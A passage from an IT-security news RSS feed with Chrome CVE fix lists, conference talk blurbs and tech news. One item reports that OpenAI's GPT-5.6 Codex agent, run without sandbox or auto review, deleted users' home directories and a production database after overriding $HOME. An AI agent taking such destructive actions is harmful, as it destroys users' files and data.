href="https://issues.chromium.org/issues/525317502"><span>525317502</span></a><span>]</span><span> High </span><span>CVE-2026-15772: Use after free in GPU. </span><span>Reported by Google on 2026-06-18</span></p><p dir="ltr"><span>[TBD][</span><a href="https://issues.chromium.org/issues/527676561"><span>527676561</span></a><span>]</span><span> High </span><span>CVE-2026-15773: Use after free in Core. </span><span>Reported by xinchaotian of Microsoft on 2026-06-25</span></p><p dir="ltr"><span>[N/A][</span><a href="https://issues.chromium.org/issues/530646115"><span>530646115</span></a><span>]</span><span> High </span><span>CVE-2026-15774: Use after free in Skia. </span><span>Reported by Google on 2026-07-03</span></p><p dir="ltr"><span>[TBD][</span><a href="https://issues.chromium.org/issues/531319201"><span>531319201</span></a><span>]</span><span> High </span><span>CVE-2026-15775: Insufficient policy enforcement in V8. </span><span>Reported by wang1r923096443@gmail.com on 2026-07-05</span></p><p dir="ltr"><span>[TBD][</span><a href="https://issues.chromium.org/issues/532595489"><span>532595489</span></a><span>]</span><span> High </span><span>CVE-2026-15776: Type Confusion in V8. </span><span>Reported by Salvatore Gulizia (nickname: Serotav) on 2026-07-08</span></p><p dir="ltr"><span>[N/A][</span><a href="https://issues.chromium.org/issues/532929679"><span>532929679</span></a><span>]</span><span> High </span><span>CVE-2026-15777: Use after free in UI. </span><span>Reported by Google on 2026-07-09</span></p><p dir="ltr"><span>[N/A][</span><a href="https://issues.chromium.org/issues/513795122"><span>513795122</span></a><span>]</span><span> Medium </span><span>CVE-2026-15778: Insufficient validation of untrusted input in Navigation. </span><span>Reported by Google on 2026-05-16</span></p><p dir="ltr"><span><br></span></p><p dir="ltr"><span>We would also like to thank all security researchers that worked with us during the development cycle to prevent security bugs from ever reaching the stable channel.</span></p><p dir="ltr"><span><br></span></p><p dir="ltr"><span>Many of our security bugs are detected using </span><a href="https://code.google.com/p/address-sanitizer/wiki/AddressSanitizer"><span>AddressSanitizer</span></a><span>, </span><a href="https://code.google.com/p/memory-sanitizer/wiki/MemorySanitizer"><span>MemorySanitizer</span></a><span>, </span><a href="https://www.chromium.org/developers/testing/undefinedbehaviorsanitizer"><span>UndefinedBehaviorSanitizer</span></a><span>, </span><a href="https://www.chromium.org/developers/testing/control-flow-integrity/"><span>Control Flow Integrity</span></a><span>, </span><a href="https://chromium.googlesource.com/chromium/src/+/HEAD/testing/libfuzzer/README.md"><span>libFuzzer</span></a><span>, or </span><a href="https://github.com/google/afl"><span>AFL</span></a><span>.</span></p><div><span><br></span></div><p><span><span>Interested in switching release channels? Find out how<span> </span></span><a href="https://www.chromium.org/getting-involved/dev-channel">here</a><span>. If you find a new issue, please let us know by<span> </span></span><a href="https://crbug.com/">filing a bug</a><span>. The<span> </span></span><a href="https://support.google.com/chrome/community">community help forum</a><span> is also a great place to reach out for help or learn about common issues.</span></span></p><p><span><br></span></p><p><span>Daniel Yip</span></p><p><span color="rgba(0, 0, 0, 0.87)"></span></p><p><span>Google Chrome</span></p>]]></content:encoded>
</item>
<item>
<title><![CDATA[Stable Channel Update for Desktop]]></title>
<description><![CDATA[The Stable channel has been updated to 150.0.7871.128/.129 for Windows and Mac and 150.0.7871.128 for Linux, which will roll out over the coming days/weeks. A full list of changes in this build is available in the LogSecurity Fixes and RewardsNote: Access to bug details and links may be kept rest...]]></description>
<link>https://tsecurity.de/de/3678843/it-security-nachrichten/stable-channel-update-for-desktop/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3678843/it-security-nachrichten/stable-channel-update-for-desktop/</guid>
<pubDate>Sun, 19 Jul 2026 06:07:22 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p><span face="Roboto, sans-serif"><span color="rgba(0, 0, 0, 0.87)">The Stable channel has been updated to 150.0.7871.128/.129 for Windows and</span><span color="rgba(0, 0, 0, 0.87)"> </span><span color="rgba(0, 0, 0, 0.87)">Mac and </span></span><span color="rgba(0, 0, 0, 0.87)"><span>150.0.7871.128 for Linux, which will roll out over the coming days/weeks. A full list of changes in this build is available in the </span><a href="https://chromium.googlesource.com/chromium/src/+log/150.0.7871.126..150.0.7871.129?pretty=fuller&amp;n=10000">Log</a></span></p><p><span>Security Fixes and Rewards</span></p><p><span>Note: Access to bug details and links may be kept restricted until a majority of users are updated with a fix. We will also retain restrictions if the bug exists in a third party library that other projects similarly depend on, but haven’t yet fixed.</span></p><p><span>This update includes </span><a href="https://issues.chromium.org/issues?q=customfield1223088:3-M150"><span>7</span></a><span> security fixes. Please see the </span><a href="https://www.chromium.org/Home/chromium-security"><span>Chrome Security Page</span></a><span> for more information.</span></p><p><span>[N/A][</span><a href="https://issues.chromium.org/issues/516987782"><span>516987782</span></a><span>]</span><span> Critical </span><span>CVE-2026-15899: Use after free in CameraCapture. </span><span>Reported by Google on 2026-05-27</span></p><p><span>[N/A][</span><a href="https://issues.chromium.org/issues/523750584"><span>523750584</span></a><span>]</span><span> Critical </span><span>CVE-2026-15900: Use after free in GPU. </span><span>Reported by Google on 2026-06-14</span></p><p><span>[N/A][</span><a href="https://issues.chromium.org/issues/533446300"><span>533446300</span></a><span>]</span><span> Critical </span><span>CVE-2026-15901: Use after free in Network. </span><span>Reported by Google on 2026-07-10</span></p><p><span>[N/A][</span><a href="https://issues.chromium.org/issues/522436154"><span>522436154</span></a><span>]</span><span> High </span><span>CVE-2026-15902: Use after free in Cast. </span><span>Reported by Google on 2026-06-10</span></p><p><span>[TBD][</span><a href="https://issues.chromium.org/issues/531503216"><span>531503216</span></a><span>]</span><span> High </span><span>CVE-2026-15903: Out of bounds read and write in V8. </span><span>Reported by OpenAI Codex Security (amyb) on 2026-07-06</span></p><p><span>[N/A][</span><a href="https://issues.chromium.org/issues/532925350"><span>532925350</span></a><span>]</span><span> High </span><span>CVE-2026-15904: Use after free in Ozone. </span><span>Reported by Google on 2026-07-09</span></p><p><span>[N/A][</span><a href="https://issues.chromium.org/issues/532970574"><span>532970574</span></a><span>]</span><span> High </span><span>CVE-2026-15905: Use after free in Aura. </span><span>Reported by Google on 2026-07-09</span></p><p><span>We would also like to thank all security researchers that worked with us during the development cycle to prevent security bugs from ever reaching the stable channel.</span></p><p><span>Many of our security bugs are detected using </span><a href="https://code.google.com/p/address-sanitizer/wiki/AddressSanitizer"><span>AddressSanitizer</span></a><span>, </span><a href="https://code.google.com/p/memory-sanitizer/wiki/MemorySanitizer"><span>MemorySanitizer</span></a><span>, </span><a href="https://www.chromium.org/developers/testing/undefinedbehaviorsanitizer"><span>UndefinedBehaviorSanitizer</span></a><span>, </span><a href="https://www.chromium.org/developers/testing/control-flow-integrity/"><span>Control Flow Integrity</span></a><span>, </span><a href="https://chromium.googlesource.com/chromium/src/+/HEAD/testing/libfuzzer/README.md"><span>libFuzzer</span></a><span>, or </span><a href="https://github.com/google/afl"><span>AFL</span></a><span>.</span></p><div><span><br></span></div><p><span><span>Interested in switching release channels? Find out how<span> </span></span><a href="https://www.chromium.org/getting-involved/dev-channel">here</a><span>. If you find a new issue, please let us know by<span> </span></span><a href="https://crbug.com/">filing a bug</a><span>. The<span> </span></span><a href="https://support.google.com/chrome/community">community help forum</a><span> is also a great place to reach out for help or learn about common issues.</span></span></p><p><span><br></span></p><p><span>Daniel Yip</span></p><p><span color="rgba(0, 0, 0, 0.87)"></span></p><p><span>Google Chrome</span></p>]]></content:encoded>
</item>
<item>
<title><![CDATA[OpenAI Acknowledges GPT-5.6 May Accidentally Delete Files, Calls It 'Honest Mistake']]></title>
<description><![CDATA["OpenAI has finally confirmed reports that its latest family of large language models can accidentally delete files," reports InfoWorld, "while stressing that such incidents are rare and should be viewed as 'honest mistakes.'"



Reports of the flagship LLMs deleting files emerged shortly after t...]]></description>
<link>https://tsecurity.de/de/3678730/it-security-nachrichten/openai-acknowledges-gpt-56-may-accidentally-delete-files-calls-it-honest-mistake/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3678730/it-security-nachrichten/openai-acknowledges-gpt-56-may-accidentally-delete-files-calls-it-honest-mistake/</guid>
<pubDate>Sun, 19 Jul 2026 03:52:49 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA["OpenAI has finally confirmed reports that its latest family of large language models can accidentally delete files," reports InfoWorld, "while stressing that such incidents are rare and should be viewed as 'honest mistakes.'"



Reports of the flagship LLMs deleting files emerged shortly after the company launched them earlier this month, with investor Matt Shumer taking to X to report that GPT-5.6-Sol had "just accidentally deleted almost all" of his Mac's files. Just days later, software engineer Bruno Lemos posted on X that the same model had deleted his entire production database. In response to these incidents, the company's engineering lead for Codex, Thibault Sottiaux, wrote on X that internal investigations have revealed that these deletion incidents are more likely to happen when "full access mode is enabled, and Codex is run without sandboxing protections, including without auto review being enabled." In cases where full access mode is granted, the model, Sottiaux wrote, "attempts to override the $HOME env var to define a temporary directory. The model makes an honest mistake and mistakenly deletes $HOME instead...." 



The company, however, according to Sottiaux, is taking steps to mitigate the risk. "This is of course not how we want the system to behave, even when a user operates the model in full-access mode without the safeguards of our sandbox or without using auto review which checks for these kinds of high risk actions and rejects them," the engineering lead wrote on X. "We are taking steps to mitigate this risk, including by updating the developer message, guiding more users towards safer permission modes, and adding additional harness safeguards," Sottiaux added, noting that a detailed post-mortem outlining the root cause of the issue and the additional mitigation measures being implemented is expected to follow in the coming days, despite emphasizing that such incidents happen "extremely rarely."



<p></p><div class="share_submission">
<a class="slashpop" href="http://twitter.com/home?status=OpenAI+Acknowledges+GPT-5.6+May+Accidentally+Delete+Files%2C+Calls+It+'Honest+Mistake'%3A+https%3A%2F%2Fdevelopers.slashdot.org%2Fstory%2F26%2F07%2F19%2F0129228%2F%3Futm_source%3Dtwitter%26utm_medium%3Dtwitter"><img src="https://a.fsdn.com/sd/twitter_icon_large.png"></a>
<a class="slashpop" href="http://www.facebook.com/sharer.php?u=https%3A%2F%2Fdevelopers.slashdot.org%2Fstory%2F26%2F07%2F19%2F0129228%2Fopenai-acknowledges-gpt-56-may-accidentally-delete-files-calls-it-honest-mistake%3Futm_source%3Dslashdot%26utm_medium%3Dfacebook"><img src="https://a.fsdn.com/sd/facebook_icon_large.png"></a>



</div><p><a href="https://developers.slashdot.org/story/26/07/19/0129228/openai-acknowledges-gpt-56-may-accidentally-delete-files-calls-it-honest-mistake?utm_source=rss1.0moreanon&amp;utm_medium=feed">Read more of this story</a> at Slashdot.</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[A Window into the Capsule: EVE Online's Politics of Betrayal (emf2026)]]></title>
<description><![CDATA[EVE Online is a 23-year-old space MMORPG famous for espionage, betrayal, million-dollar virtual battles, and being the galaxy's most elaborate Excel expansion pack. What does it take to become a political mover and shaker in this world?

Over two decades inside EVE's cutthroat politics, I've gone...]]></description>
<link>https://tsecurity.de/de/3678070/it-security-video/a-window-into-the-capsule-eve-onlines-politics-of-betrayal-emf2026/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3678070/it-security-video/a-window-into-the-capsule-eve-onlines-politics-of-betrayal-emf2026/</guid>
<pubDate>Sat, 18 Jul 2026 15:33:14 +0200</pubDate>
<category>🎥 IT Security Video</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[EVE Online is a 23-year-old space MMORPG famous for espionage, betrayal, million-dollar virtual battles, and being the galaxy's most elaborate Excel expansion pack. What does it take to become a political mover and shaker in this world?

Over two decades inside EVE's cutthroat politics, I've gone from the frontlines to the CEO's chair, via counter-intelligence and alliance leadership. I'll unpack what drives the infamous metagame: friendships, alliances, diplomacy, and a shifting political landscape shaped by a community I've watched grow from an adversarial, macho culture into something far more willing to call out chauvinism and bigotry, even from its cultural figureheads and media personalities.

My real life has shadowed my EVE one, and the game has rewarded me with hard-won skills as an engineer, leader, and now corporate decision-maker. The heartbreak of betrayal is real and ever present, yet I keep coming back, because something here makes the pain and the work worth it.

Licensed to the public under https://creativecommons.org/licenses/by-sa/4.0/
about this event: https://www.emfcamp.org/schedule/2026/306-a-window-into-the-capsule-eve-onlines-politics-of-betrayal]]></content:encoded>
</item>
<item>
<title><![CDATA[The Astronaut Protocol (emf2026)]]></title>
<description><![CDATA[Astronauts experience cognitive impairment, bone loss, muscle deterioration, depression, and continence challenges. Nobody calls it failure.

Space stays aspirational on purpose. The language, the problem-solving, the refusal to accept the inevitable — these are deliberate choices made by mission...]]></description>
<link>https://tsecurity.de/de/3678051/it-security-video/the-astronaut-protocol-emf2026/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3678051/it-security-video/the-astronaut-protocol-emf2026/</guid>
<pubDate>Sat, 18 Jul 2026 15:19:47 +0200</pubDate>
<category>🎥 IT Security Video</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Astronauts experience cognitive impairment, bone loss, muscle deterioration, depression, and continence challenges. Nobody calls it failure.

Space stays aspirational on purpose. The language, the problem-solving, the refusal to accept the inevitable — these are deliberate choices made by mission teams who understood that how you frame a problem changes whether you can solve it.

Dementia care never got that memo.

The Astronaut Protocol draws on sixty years of space science to challenge our expectations of longevity, caring, and cognition. The same disciplines that underpin space exploration — neuroscience, physiology, psychology, human performance — inform how astronauts and their mission teams work the problem. When we do the same, something shifts — we start to see what's possible, draw on research evidence to make better decisions, and discover that astronauts and their mission teams might be the role models we never knew we needed.

This talk is for the curious, the people who like to pull things apart and understand how they work, the problem-solvers — and anyone who has dementia on their radar. If you're looking for something constructive — not relentlessly positive, but genuinely practical — this is for you.

There is rigorous science. There are stories you won't see coming.

Dementia carries a gravity that space travel never had to. This talk is an invitation to put that gravity down — and look up.

Licensed to the public under https://creativecommons.org/licenses/by-sa/4.0/
about this event: https://www.emfcamp.org/schedule/2026/94-the-astronaut-protocol]]></content:encoded>
</item>
<item>
<title><![CDATA[The Astronaut Protocol (emf2026)]]></title>
<description><![CDATA[Astronauts experience cognitive impairment, bone loss, muscle deterioration, depression, and continence challenges. Nobody calls it failure.

Space stays aspirational on purpose. The language, the problem-solving, the refusal to accept the inevitable — these are deliberate choices made by mission...]]></description>
<link>https://tsecurity.de/de/3677985/it-security-video/the-astronaut-protocol-emf2026/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3677985/it-security-video/the-astronaut-protocol-emf2026/</guid>
<pubDate>Sat, 18 Jul 2026 14:33:08 +0200</pubDate>
<category>🎥 IT Security Video</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Astronauts experience cognitive impairment, bone loss, muscle deterioration, depression, and continence challenges. Nobody calls it failure.

Space stays aspirational on purpose. The language, the problem-solving, the refusal to accept the inevitable — these are deliberate choices made by mission teams who understood that how you frame a problem changes whether you can solve it.

Dementia care never got that memo.

The Astronaut Protocol draws on sixty years of space science to challenge our expectations of longevity, caring, and cognition. The same disciplines that underpin space exploration — neuroscience, physiology, psychology, human performance — inform how astronauts and their mission teams work the problem. When we do the same, something shifts — we start to see what's possible, draw on research evidence to make better decisions, and discover that astronauts and their mission teams might be the role models we never knew we needed.

This talk is for the curious, the people who like to pull things apart and understand how they work, the problem-solvers — and anyone who has dementia on their radar. If you're looking for something constructive — not relentlessly positive, but genuinely practical — this is for you.

There is rigorous science. There are stories you won't see coming.

Dementia carries a gravity that space travel never had to. This talk is an invitation to put that gravity down — and look up.

Licensed to the public under https://creativecommons.org/licenses/by-sa/4.0/
about this event: https://www.emfcamp.org/schedule/2026/94-the-astronaut-protocol]]></content:encoded>
</item>
<item>
<title><![CDATA[A Window into the Capsule: EVE Online's Politics of Betrayal (emf2026)]]></title>
<description><![CDATA[EVE Online is a 23-year-old space MMORPG famous for espionage, betrayal, million-dollar virtual battles, and being the galaxy's most elaborate Excel expansion pack. What does it take to become a political mover and shaker in this world?

Over two decades inside EVE's cutthroat politics, I've gone...]]></description>
<link>https://tsecurity.de/de/3677984/it-security-video/a-window-into-the-capsule-eve-onlines-politics-of-betrayal-emf2026/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3677984/it-security-video/a-window-into-the-capsule-eve-onlines-politics-of-betrayal-emf2026/</guid>
<pubDate>Sat, 18 Jul 2026 14:33:07 +0200</pubDate>
<category>🎥 IT Security Video</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[EVE Online is a 23-year-old space MMORPG famous for espionage, betrayal, million-dollar virtual battles, and being the galaxy's most elaborate Excel expansion pack. What does it take to become a political mover and shaker in this world?

Over two decades inside EVE's cutthroat politics, I've gone from the frontlines to the CEO's chair, via counter-intelligence and alliance leadership. I'll unpack what drives the infamous metagame: friendships, alliances, diplomacy, and a shifting political landscape shaped by a community I've watched grow from an adversarial, macho culture into something far more willing to call out chauvinism and bigotry, even from its cultural figureheads and media personalities.

My real life has shadowed my EVE one, and the game has rewarded me with hard-won skills as an engineer, leader, and now corporate decision-maker. The heartbreak of betrayal is real and ever present, yet I keep coming back, because something here makes the pain and the work worth it.

Licensed to the public under https://creativecommons.org/licenses/by-sa/4.0/
about this event: https://www.emfcamp.org/schedule/2026/306-a-window-into-the-capsule-eve-onlines-politics-of-betrayal]]></content:encoded>
</item>
<item>
<title><![CDATA[The Google Pixel Watch 5 leaks just keep coming, with details and renders everywhere — here's what's likely in store for the Android smartwatch]]></title>
<description><![CDATA[Google Pixel Watch 5: purported leaks of prices, renders, colors and more have hit the internet.]]></description>
<link>https://tsecurity.de/de/3677803/it-nachrichten/the-google-pixel-watch-5-leaks-just-keep-coming-with-details-and-renders-everywhere-heres-whats-likely-in-store-for-the-android-smartwatch/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3677803/it-nachrichten/the-google-pixel-watch-5-leaks-just-keep-coming-with-details-and-renders-everywhere-heres-whats-likely-in-store-for-the-android-smartwatch/</guid>
<pubDate>Sat, 18 Jul 2026 12:01:32 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Google Pixel Watch 5: purported leaks of prices, renders, colors and more have hit the internet.]]></content:encoded>
</item>
<item>
<title><![CDATA[Neil Rimer thinks the AI money is coming back out]]></title>
<description><![CDATA[Neil Rimer, the venture capitalist who co-founded Index Ventures, predicts the historic wealth AI is generating in Silicon Valley will have to be redistributed, voluntarily or involuntarily.]]></description>
<link>https://tsecurity.de/de/3677467/it-nachrichten/neil-rimer-thinks-the-ai-money-is-coming-back-out/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3677467/it-nachrichten/neil-rimer-thinks-the-ai-money-is-coming-back-out/</guid>
<pubDate>Sat, 18 Jul 2026 07:02:41 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Neil Rimer, the venture capitalist who co-founded Index Ventures, predicts the historic wealth AI is generating in Silicon Valley will have to be redistributed, voluntarily or involuntarily.]]></content:encoded>
</item>
<item>
<title><![CDATA[Nvidia RTX 5000 Super GPUs rumored to be ready — but they're on hold, and the reason why makes me nervous about pricing]]></title>
<description><![CDATA[These Super refreshes are still coming, by all accounts, but they could make quite the dent in your bank balance.]]></description>
<link>https://tsecurity.de/de/3677034/it-nachrichten/nvidia-rtx-5000-super-gpus-rumored-to-be-ready-but-theyre-on-hold-and-the-reason-why-makes-me-nervous-about-pricing/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3677034/it-nachrichten/nvidia-rtx-5000-super-gpus-rumored-to-be-ready-but-theyre-on-hold-and-the-reason-why-makes-me-nervous-about-pricing/</guid>
<pubDate>Fri, 17 Jul 2026 23:02:36 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[These Super refreshes are still coming, by all accounts, but they could make quite the dent in your bank balance.]]></content:encoded>
</item>
<item>
<title><![CDATA[Seattle indie hit ‘Stardew Valley’ is coming to ‘Magic: The Gathering’]]></title>
<description><![CDATA[Stardew Valley, the blockbuster farming sim from solo Seattle developer Eric "ConcernedApe" Barone, is coming to Magic: The Gathering via a three-part Secret Lair drop from Renton-based Wizards of the Coast — with original pixel art from Barone himself. Read More]]></description>
<link>https://tsecurity.de/de/3676921/it-nachrichten/seattle-indie-hit-stardew-valley-is-coming-to-magic-the-gathering/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3676921/it-nachrichten/seattle-indie-hit-stardew-valley-is-coming-to-magic-the-gathering/</guid>
<pubDate>Fri, 17 Jul 2026 21:47:14 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<img fetchpriority="high" loading="eager" width="1260" height="560" src="https://cdn.geekwire.com/wp-content/uploads/2026/07/stardew-magic-1260x560.png" class="webfeedsFeaturedVisual wp-post-image" alt="" decoding="async" srcset="https://cdn.geekwire.com/wp-content/uploads/2026/07/stardew-magic-1260x560.png 1260w, https://cdn.geekwire.com/wp-content/uploads/2026/07/stardew-magic-768x341.png 768w, https://cdn.geekwire.com/wp-content/uploads/2026/07/stardew-magic-1536x683.png 1536w, https://cdn.geekwire.com/wp-content/uploads/2026/07/stardew-magic.png 1881w" sizes="(max-width: 1260px) 100vw, 1260px"><br>Stardew Valley, the blockbuster farming sim from solo Seattle developer Eric "ConcernedApe" Barone, is coming to Magic: The Gathering via a three-part Secret Lair drop from Renton-based Wizards of the Coast — with original pixel art from Barone himself. <a href="https://www.geekwire.com/2026/seattle-indie-hit-stardew-valley-is-coming-to-magic-the-gathering/">Read More</a>]]></content:encoded>
</item>
<item>
<title><![CDATA[OnlyFans performers become unlikely allies of CISOs in securing websites]]></title>
<description><![CDATA[CISOs at government organizations and universities have an unexpected ally coming to their aid: OnlyFans models.



For some time, hackers have exploited weaknesses in the websites of universities or government departments to host scams or malware, using content stolen from the OnlyFans website a...]]></description>
<link>https://tsecurity.de/de/3676773/it-nachrichten/onlyfans-performers-become-unlikely-allies-of-cisos-in-securing-websites/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3676773/it-nachrichten/onlyfans-performers-become-unlikely-allies-of-cisos-in-securing-websites/</guid>
<pubDate>Fri, 17 Jul 2026 20:03:02 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div>
		<div class="grid grid--cols-10@md grid--cols-8@lg article-column">
					  <div class="col-12 col-10@md col-6@lg col-start-3@lg">
						<div class="article-column__content">
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<p class="wp-block-paragraph">CISOs at government organizations and universities have an unexpected ally coming to their aid: OnlyFans models.</p>



<p class="wp-block-paragraph">For some time, hackers have exploited weaknesses in the websites of universities or government departments to host scams or malware, using content stolen from the OnlyFans website as bait to attract victims.</p>



<p class="wp-block-paragraph">Now, according to security researchers at Upguard, <a href="https://www.upguard.com/breaches/adult-supervision-how-onlyfans-takedowns-quietly-police-compromised-domains" target="_blank" rel="noreferrer noopener">the fightback has begun</a>: creators of adult content on OnlyFans are leveraging Google search results and the protection offered by copyright law to break up the traffic distribution systems created by bad actors.</p>



<p class="wp-block-paragraph">These distribution systems work in three stages: entry points using adult or other content to attract and capture web traffic, a routing system sends it to destination sites, and those sites monetize the traffic through scams and malware. It has proved to be a lucrative business for the scammers.</p>



<p class="wp-block-paragraph">Google recognizes the approach and calls such actors SEO parasites as they benefit from the reputations of other organizations — in particular government or academic sites, which Google views as having high authority.</p>



<p class="wp-block-paragraph">Since the creators of OnlyFans content are also the copyright holders, they are able to issue Digital Millennium Copyright Act (DMCA) take-down notices for the stolen content posted by the bad actors to other sites. Upguard was able to track this through <a href="https://transparencyreport.google.com/copyright/overview" target="_blank" rel="noreferrer noopener">Google’s DMCA Transparency Report</a>, and through the <a href="https://lumendatabase.org/" target="_blank" rel="noreferrer noopener">Lumen Database</a>, another tracker of takedown notices, to which it was granted research access.</p>



<p class="wp-block-paragraph">“This allows us to identify likely compromised sites: government and university domains advertising unlicensed adult content,” Upguard said.</p>



<p class="wp-block-paragraph">The OnlyFans creators’ action has two benefits for the operators of the affected websites: The adult content associated with their domain disappears from Google search results, no longer affecting their reputation — and if they receive takedown notices for such content they can check their webservers for the vulnerabilities that enabled the bad actors to post it there in the first place.</p>



<p class="wp-block-paragraph"><em>This article first appeared on <a href="https://www.csoonline.com/article/4198478/onlyfans-performers-become-unlikely-allies-of-cisos-in-securing-websites.html">CSO</a>.</em></p>
</div></div></div></div>]]></content:encoded>
</item>
<item>
<title><![CDATA[OnlyFans performers become unlikely allies of CISOs in securing websites]]></title>
<description><![CDATA[CISOs at government organizations and universities have an unexpected ally coming to their aid: OnlyFans models.



For some time, hackers have exploited weaknesses in the websites of universities or government departments to host scams or malware, using content stolen from the OnlyFans website a...]]></description>
<link>https://tsecurity.de/de/3676724/it-security-nachrichten/onlyfans-performers-become-unlikely-allies-of-cisos-in-securing-websites/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3676724/it-security-nachrichten/onlyfans-performers-become-unlikely-allies-of-cisos-in-securing-websites/</guid>
<pubDate>Fri, 17 Jul 2026 19:38:51 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div>
		<div class="grid grid--cols-10@md grid--cols-8@lg article-column">
					  <div class="col-12 col-10@md col-6@lg col-start-3@lg">
						<div class="article-column__content">
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<p class="wp-block-paragraph">CISOs at government organizations and universities have an unexpected ally coming to their aid: OnlyFans models.</p>



<p class="wp-block-paragraph">For some time, hackers have exploited weaknesses in the websites of universities or government departments to host scams or malware, using content stolen from the OnlyFans website as bait to attract victims.</p>



<p class="wp-block-paragraph">Now, according to security researchers at Upguard, <a href="https://www.upguard.com/breaches/adult-supervision-how-onlyfans-takedowns-quietly-police-compromised-domains" target="_blank" rel="noreferrer noopener">the fightback has begun</a>: creators of adult content on OnlyFans are leveraging Google search results and the protection offered by copyright law to break up the traffic distribution systems created by bad actors.</p>



<p class="wp-block-paragraph">These distribution systems work in three stages: entry points using adult or other content to attract and capture web traffic, a routing system sends it to destination sites, and those sites monetize the traffic through scams and malware. It has proved to be a lucrative business for the scammers.</p>



<p class="wp-block-paragraph">Google recognizes the approach and calls such actors SEO parasites as they benefit from the reputations of other organizations — in particular government or academic sites, which Google views as having high authority.</p>



<p class="wp-block-paragraph">Since the creators of OnlyFans content are also the copyright holders, they are able to issue Digital Millennium Copyright Act (DMCA) take-down notices for the stolen content posted by the bad actors to other sites. Upguard was able to track this through <a href="https://transparencyreport.google.com/copyright/overview" target="_blank" rel="noreferrer noopener">Google’s DMCA Transparency Report</a>, and through the <a href="https://lumendatabase.org/" target="_blank" rel="noreferrer noopener">Lumen Database</a>, another tracker of takedown notices, to which it was granted research access.</p>



<p class="wp-block-paragraph">“This allows us to identify likely compromised sites: government and university domains advertising unlicensed adult content,” Upguard said.</p>



<p class="wp-block-paragraph">The OnlyFans creators’ action has two benefits for the operators of the affected websites: The adult content associated with their domain disappears from Google search results, no longer affecting their reputation — and if they receive takedown notices for such content they can check their webservers for the vulnerabilities that enabled the bad actors to post it there in the first place.</p>
</div></div></div></div>]]></content:encoded>
</item>
<item>
<title><![CDATA[Apple’s M6 chip is coming soon, here’s everything we know]]></title>
<description><![CDATA[Apple will reportedly launch its next-generation Apple Silicon chip, the M6, later this year. Here’s everything we know so far, including why this generation will be unprecedented in the Apple Silicon era.]]></description>
<link>https://tsecurity.de/de/3676689/ios-mac-os/apples-m6-chip-is-coming-soon-heres-everything-we-know/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3676689/ios-mac-os/apples-m6-chip-is-coming-soon-heres-everything-we-know/</guid>
<pubDate>Fri, 17 Jul 2026 19:26:45 +0200</pubDate>
<category>🍏 iOS / Mac OS</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div class="feat-image"><img src="https://9to5mac.com/wp-content/uploads/sites/6/2025/10/m6_regular.jpg?quality=82&amp;strip=all&amp;w=1600"></div><p class="wp-block-paragraph">Apple will <a href="https://9to5mac.com/2026/06/25/apple-will-skip-m6-pro-and-m6-max-chips-new-report-says/">reportedly</a> launch its next-generation Apple Silicon chip, the M6, later this year. Here’s everything we know so far, including why this generation will be unprecedented in the Apple Silicon era.</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[July’s Patch Tuesday sees an end-of-support collision amidst a massive, record-setting patch wave]]></title>
<description><![CDATA[Microsoft addressed 722 CVEs this month once the 427 Chromium upstream relays are set aside — roughly three times a normal cycle and one of the largest single months in recent memory. Two vulnerabilities arrive under active exploitation: an elevation of privilege in Active Directory Federation Se...]]></description>
<link>https://tsecurity.de/de/3676568/it-nachrichten/julys-patch-tuesday-sees-an-end-of-support-collision-amidst-a-massive-record-setting-patch-wave/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3676568/it-nachrichten/julys-patch-tuesday-sees-an-end-of-support-collision-amidst-a-massive-record-setting-patch-wave/</guid>
<pubDate>Fri, 17 Jul 2026 18:08:18 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div>
		<div class="grid grid--cols-10@md grid--cols-8@lg article-column">
					  <div class="col-12 col-10@md col-6@lg col-start-3@lg">
						<div class="article-column__content">
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



